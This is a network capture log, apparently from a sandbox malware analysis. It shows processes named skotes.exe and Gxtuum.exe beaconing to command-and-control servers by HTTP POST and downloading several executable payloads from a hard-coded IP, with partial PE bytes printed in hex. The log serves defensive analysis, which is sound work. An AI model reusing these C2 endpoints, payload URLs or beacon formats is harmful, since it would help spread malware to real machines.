Dec 20, 2024 17:43:17.290971041 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49732	31.41.244.11	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:17.432569981 CET	61	OUT	GET /files/x3team/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 17:43:18.738177061 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:18 GMT Content-Type: application/octet-stream Content-Length: 3286016 Last-Modified: Wed, 18 Dec 2024 13:43:08 GMT Connection: keep-alive ETag: "6762d16c-322400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVP/Z/ 0@ 2@/K0@W`23/ H.text/ / `.rsrc@W0X/@@.reloc`2"2@B/H@C@z6+(B99(:+(^A(!(*(0(8yEcO/8^s :&8s8s 9& 8s 8s800000**00**
Dec 20, 2024 17:43:18.738219976 CET	1236	IN	Data Raw: 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 Data Ascii: 0".**(~(s;(=t80*0(00*0
Dec 20, 2024 17:43:18.738231897 CET	448	IN	Data Raw: 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a Data Ascii: *******************************
Dec 20, 2024 17:43:18.738279104 CET	1236	IN	Data Raw: 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a Data Ascii: *******************************
Dec 20, 2024 17:43:18.738460064 CET	1236	IN	Data Raw: 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 Data Ascii: ******(*******"***0Y**
Dec 20, 2024 17:43:18.738471985 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 05 00 04 00 00 00 00 Data Ascii: 00000***********(0**"
Dec 20, 2024 17:43:18.738483906 CET	1236	IN	Data Raw: 2a 41 1c 00 00 02 00 00 00 34 00 00 00 83 01 00 00 b7 01 00 00 0d 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 02 00 30 00 14 44 00 40 00 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a Data Ascii: A400D@*""""r*"*""r
Dec 20, 2024 17:43:18.738495111 CET	224	IN	Data Raw: 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 Data Ascii: 0*(00*(00"-*0ALB*
Dec 20, 2024 17:43:18.738733053 CET	1236	IN	Data Raw: 00 0d 00 00 00 00 00 00 00 02 00 00 00 1e 00 00 00 19 01 00 00 37 01 00 00 0d 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 02 00 00 00 13 00 00 00 86 01 00 00 99 01 00 00 0d 00 00 00 00 00 00 00 13 30 04 00 d7 Data Ascii: 70A0<(8E^N28Y :&8 8sb 9&8: 88
Dec 20, 2024 17:43:18.738745928 CET	1236	IN	Data Raw: 00 00 00 00 2a 01 10 00 00 02 00 1f 00 5e 7d 00 0d 00 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 07 00 04 00 00 00 00 00 00 00 00 Data Ascii: ^}00**00****(0000****
Dec 20, 2024 17:43:18.858031988 CET	1236	IN	Data Raw: 00 00 04 80 e6 00 00 04 20 06 00 00 00 38 8e ff ff ff 19 8d 9f 00 00 01 25 d0 ae 03 00 04 28 c0 01 00 0a 80 e8 00 00 04 20 04 00 00 00 38 6e ff ff ff 11 01 16 1f 2e 9d 20 03 00 00 00 38 5e ff ff ff 18 8d 9f 00 00 01 13 01 20 05 00 00 00 38 4c ff Data Ascii: 8%( 8n. 8^ 8L8sV80**************

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49734	185.215.113.43	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:26.649776936 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 36 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018691001&unit=246122658369
Dec 20, 2024 17:43:27.952744007 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49736	31.41.244.11	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:28.080677986 CET	65	OUT	GET /files/Krokodyl02/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 17:43:29.406687975 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:29 GMT Content-Type: application/octet-stream Content-Length: 1863680 Last-Modified: Fri, 20 Dec 2024 13:47:02 GMT Connection: keep-alive ETag: "67657556-1c7000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 70 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 49 00 00 04 00 00 32 fc 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gpI@I2@T0h 1 H@.rsrc X@.idata 0Z@ 0*@\@lzigcvvjp/^@pdsqmwos`IJ@.taggant0pI"N@
Dec 20, 2024 17:43:29.406709909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:43:29.406723976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:43:29.406807899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:43:29.406845093 CET	896	IN	Data Raw: 86 ea 37 ca f0 0b b5 f6 d5 41 a3 96 f6 21 c5 8d 0d d1 4b 92 68 6a b8 29 2b 8e 1d 7a 48 d0 5e 2f 7f fa cd 1e f5 36 b7 db 37 8a 5d 95 c0 e2 98 2c f1 51 b6 5b 60 03 5f 39 00 81 93 da 28 19 99 2d c2 3c 48 4c 3c c8 71 ec fc b7 d6 d2 44 ef 70 13 36 e6 Data Ascii: 7A!Khj)+zH^/67],Q[`_9(-<HL<qDp6'B^2(ucT6<iE(L+r0+:60[4^w"J.P<J5o~HhELSEqc\wTsxGnzw=
Dec 20, 2024 17:43:29.406860113 CET	1236	IN	Data Raw: 71 89 15 2b 53 ea 57 7b de 4e cc 02 a0 b0 54 33 0c 46 5e 06 3a 5d 9e a9 39 e2 43 62 4f 64 88 de 08 06 ff 36 25 7e 58 49 c2 69 20 1b 49 76 b9 25 f7 ea a7 b9 89 4a 58 47 c5 12 35 de b7 6a 47 0c 5d 75 b8 91 ba 8e 43 4a 59 7f 7e 17 8c 72 eb db 03 de Data Ascii: q+SW{NT3F^:]9CbOd6%~XIi Iv%JXG5jG]uCJY~rilKYA-6?K(7~@-&4O)=V1q+HtB}>uS\~a`kMqIu0:4OAhLoIWn)2?CALF5,B"k&n&X1l]sK
Dec 20, 2024 17:43:29.406871080 CET	224	IN	Data Raw: 4b 1e c4 8d f8 4f 0c 73 50 56 ff ee 19 92 38 92 2e 0f 7a 44 14 8f 5f 65 7e 0d 43 03 86 81 d3 05 f2 6e 68 8d 57 59 5a ff bd 3d d9 8e 51 99 54 94 c0 63 77 8c 9c e6 4f 72 5b e9 5d 27 18 74 4c fc cb 2a 34 d2 77 0c b3 94 4d 45 2d 23 53 2f 48 da 48 69 Data Ascii: KOsPV8.zD_e~CnhWYZ=QTcwOr[]'tL*4wME-#S/HHiEYN05b;J{9&74\Q}.0\| x%8~8mJbaYi;1)bPu{>$b\Q<;}TQ>5:%A9MK
Dec 20, 2024 17:43:29.407100916 CET	1236	IN	Data Raw: c7 96 61 9a 7f 82 7d 74 13 39 34 0b 35 46 7c 10 bb 71 de 92 45 4c d5 5d ff e0 20 88 fb 00 cc 2f 0a 4b 8b 31 70 10 b7 43 9a c3 2d b5 92 d4 42 36 f3 48 b2 5e 43 dd 7a da 8d f2 e8 6c 55 c5 1e 1d 65 68 cd e9 3b 71 e3 19 9f 81 0b 10 ca 5b 2e 2c 36 3e Data Ascii: a}t945F\|qEL] /K1pC-B6H^CzlUeh;q[.,6>GF:+U`^s`yv7PPr)qjyg7K"t2>[O~EE.+qC+:sr:,kT!PoS<=qS3Pnc<UK(K1"Uvt_S
Dec 20, 2024 17:43:29.407115936 CET	1236	IN	Data Raw: 4b 73 fb 04 7b 98 6b 59 ae d4 07 31 de 4c 58 fb 3a de 34 93 2e f6 20 94 53 83 3a da 7c 19 c2 a4 9d ef 7d 41 1b fa ca e8 14 87 92 0c 47 80 dd 1b ff de 3b 3b b8 91 b1 ac 6a 91 12 43 d9 42 04 ed b9 46 5d 01 82 29 50 a3 3a 94 6b 35 c0 4c 80 94 ff 3e Data Ascii: Ks{kY1LX:4. S:\|}AG;;jCBF])P:k5L>QC.WVrg)uj\|\`1K4@CqI{S1ma\|b%{5FMqX\h6H!rCpJ"7DK3oat&,y7i,"VAw5A2d}
Dec 20, 2024 17:43:29.407130003 CET	1236	IN	Data Raw: 6d 5b d2 ac 01 0f 2d 6c f2 49 16 19 ea dc 3f 4c 32 05 74 b2 0c d0 4e 2b cb ec 7b f7 d3 4c 09 cf 37 90 d4 32 57 4e a9 92 38 c5 1e 80 77 87 e8 d7 1b f9 1f 7b 85 7e 10 29 03 35 5e 9c fc b8 5e 27 0f ad 5f 25 89 67 f8 b6 ee 2a ab cd 5a 28 e0 71 a5 e9 Data Ascii: m[-lI?L2tN+{L72WN8w{~)5^^'_%g*Z(qh"'95pH>BiaDpaPxG)V>U0\G>cU~C8-(Y)$\UBA,+{;ng4h3Y0}3S:_MC"5
Dec 20, 2024 17:43:29.526642084 CET	1236	IN	Data Raw: bf 1a 3b af 29 86 67 df 37 e9 39 3b 95 30 29 80 06 ee fb 4f 20 02 97 b3 4f c8 93 02 ed 1b dd 02 27 19 73 34 00 d3 5e e9 43 c4 0e eb 9f 3c b0 1d 80 5e dc dc fe e6 29 b7 9e 8e ab 46 60 75 7e 3a 20 19 9d a3 cd bb 48 a5 d7 6e e5 00 60 5b 1b 0c 51 c9 Data Ascii: ;)g79;0)O O's4^C<^)F`u~: Hn`[Qbh=ZG\|N,9KHtF3/Rh<[Qgw;!wi%~\orj:1eCtk@)\|MBw{t?MI=w=}L99IdH{ZO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49741	185.215.113.43	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:34.880801916 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 36 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018692001&unit=246122658369
Dec 20, 2024 17:43:37.255517006 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49745	31.41.244.11	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:37.487366915 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 17:43:38.826503038 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:38 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 20, 2024 17:43:38.826575041 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:43:38.826781988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:43:38.826868057 CET	1236	IN	Data Raw: 8b 6c 24 0c 8d 74 24 14 c6 07 00 68 35 02 00 00 56 e8 6d fe ff ff 83 c4 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe Data Ascii: l$t$h5Vm;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$1
Dec 20, 2024 17:43:38.826879978 CET	448	IN	Data Raw: ff ff 83 ec 14 0f 28 05 10 c0 41 00 0f 11 44 24 04 89 1c 24 c7 44 24 18 00 00 00 00 c7 44 24 14 80 00 00 00 ff d0 83 f8 ff 0f 84 ab 01 00 00 89 c7 6a 00 50 ff 15 98 39 42 00 83 f8 ff 0f 84 70 01 00 00 89 c3 50 e8 1c 13 00 00 83 c4 04 89 c5 8d 44 Data Ascii: (AD$$D$D$jP9BpPD$jPSUW,:BBW49BE<L=l$$D$\$L$WD$ WD$Uv+w\|$ D$$WUS`K
Dec 20, 2024 17:43:38.826889992 CET	1236	IN	Data Raw: 00 00 00 00 c7 04 24 00 00 00 00 ff 34 24 ff 74 24 08 e8 34 fd ff ff 83 c4 08 8b 4c 24 28 31 e1 e8 90 11 00 00 b0 01 83 c4 2c 5e 5f 5b 5d c3 e8 1b 00 00 00 e8 1e 9c 00 00 c7 05 70 64 42 00 00 00 00 00 c3 c7 05 74 64 42 00 00 00 00 00 c3 68 2d 03 Data Ascii: $4$t$4L$(1,^_[]pdBtdBh-BfD$s#PH#A@@B$AhLABPBVD$(A1VVQPG$A^VD$(A1VVQP
Dec 20, 2024 17:43:38.827187061 CET	1236	IN	Data Raw: 11 46 04 c7 46 0c 00 00 00 00 6a 20 e8 5c 0c 00 00 83 c4 04 89 c7 89 06 c7 46 10 15 00 00 00 c7 46 14 1f 00 00 00 0f 10 05 f4 c1 41 00 0f 11 00 f2 0f 10 05 01 c2 41 00 f2 0f 11 40 0d 83 c7 15 e9 8f 00 00 00 50 e8 00 14 00 00 83 c4 04 89 c3 0f 57 Data Ascii: FFj \FFAA@PWWFP7xxw~FWSVYI$CCrPP~^Wt$PY^_[]D$T$
Dec 20, 2024 17:43:38.827198982 CET	1236	IN	Data Raw: df 01 cf b8 00 00 00 80 be ff ff ff 7f 89 14 24 78 18 89 d1 d1 e9 89 ca 81 f2 ff ff ff 7f 3b 14 24 8b 14 24 0f 83 dd 00 00 00 50 e8 81 f6 ff ff 8b 54 24 04 83 c4 04 89 7d 10 89 75 14 83 fa 10 0f 82 8d 00 00 00 8b 7d 00 53 57 50 89 c6 e8 34 55 00 Data Ascii: $x;$$PT$}u}SWP4Ut$D$ Pt$ SUt$D$ NrG) $QW*\|$K<}ruQt$ ST>(SUPTt$ Vt$ ST
Dec 20, 2024 17:43:38.827209949 CET	1236	IN	Data Raw: 46 1c 85 c0 74 09 50 e8 89 9e 00 00 83 c4 04 c7 46 1c 00 00 00 00 8b 46 14 85 c0 74 09 50 e8 72 9e 00 00 83 c4 04 c7 46 14 00 00 00 00 8b 46 0c 85 c0 74 09 50 e8 5b 9e 00 00 83 c4 04 c7 46 0c 00 00 00 00 8b 46 04 85 c0 74 09 50 e8 44 9e 00 00 83 Data Ascii: FtPFFtPrFFtP[FFtPDF^VA\|$tVw^A1IDSWV\$t$9tWP F9u^_[D$QP SWV\$t$9t
Dec 20, 2024 17:43:38.827222109 CET	1236	IN	Data Raw: e8 53 24 00 00 85 c0 74 20 64 a1 18 00 00 00 be 98 64 42 00 8b 50 04 eb 04 3b d0 74 10 33 c0 8b ca f0 0f b1 0e 85 c0 75 f0 32 c0 5e c3 b0 01 5e c3 55 8b ec e8 1f 24 00 00 85 c0 74 0f 80 7d 08 00 75 09 33 c0 b9 98 64 42 00 87 01 5d c3 55 8b ec 83 Data Ascii: S$t ddBP;t3u2^^U$t}u3dB]U}udB 5u2]Zuj5Y]U=dBt}uuZu~5YY]U=dBt]Vutub#t&u"hdB}YuhdB}Y
Dec 20, 2024 17:43:38.946165085 CET	1236	IN	Data Raw: e8 aa fe ff ff 8b f8 57 e8 61 00 00 00 59 59 68 c8 0d 42 00 8d 4f 18 c7 47 10 3f 00 00 00 e8 0d fe ff ff 8b 0f 8b 71 04 8b ce ff 15 10 37 42 00 8b cf ff d6 89 3d a0 65 42 00 90 89 3d 84 65 42 00 80 7d 08 00 74 11 8b 07 8b 70 04 8b ce ff 15 10 37 Data Ascii: WaYYhBOG?q7B=eB=eB}tp7BMu"eBU=eBuh1@eBT!YEeB]UEW8t+Vp7Btj17B^_]UQjMheB%eBYM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49757	89.35.131.209	80	7264	C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:40.058609009 CET	167	OUT	POST /3ofn3jf3e2ljk/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: cobolrationumelawrtewarms.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2024 17:43:41.329258919 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49766	185.215.113.43	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:42.758255005 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 36 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018693001&unit=246122658369
Dec 20, 2024 17:43:44.101284027 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49767	89.35.131.209	80	7264	C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:42.979207039 CET	325	OUT	POST /3ofn3jf3e2ljk/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: cobolrationumelawrtewarms.com Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 45 32 46 37 32 33 38 36 45 34 32 41 46 41 34 46 33 36 37 45 43 34 30 43 34 38 32 43 37 32 33 32 46 37 34 38 45 32 39 38 46 46 36 35 31 36 44 30 38 39 33 31 30 42 35 33 41 33 45 41 41 43 36 31 30 32 37 39 34 41 46 41 31 37 45 34 43 41 44 43 33 44 44 42 45 31 45 41 42 42 46 45 39 42 32 44 45 31 45 38 34 38 34 41 46 31 33 44 35 34 38 33 32 37 42 33 37 31 46 44 31 38 39 30 30 33 44 34 43 35 35 42 45 32 34 34 35 43 34 35 42 34 41 32 41 41 37 45 30 36 39 41 46 42 44 36 43 35 Data Ascii: r=E2F72386E42AFA4F367EC40C482C7232F748E298FF6516D089310B53A3EAAC6102794AFA17E4CADC3DDBE1EABBFE9B2DE1E8484AF13D548327B371FD189003D4C55BE2445C45B4A2AA7E069AFBD6C5
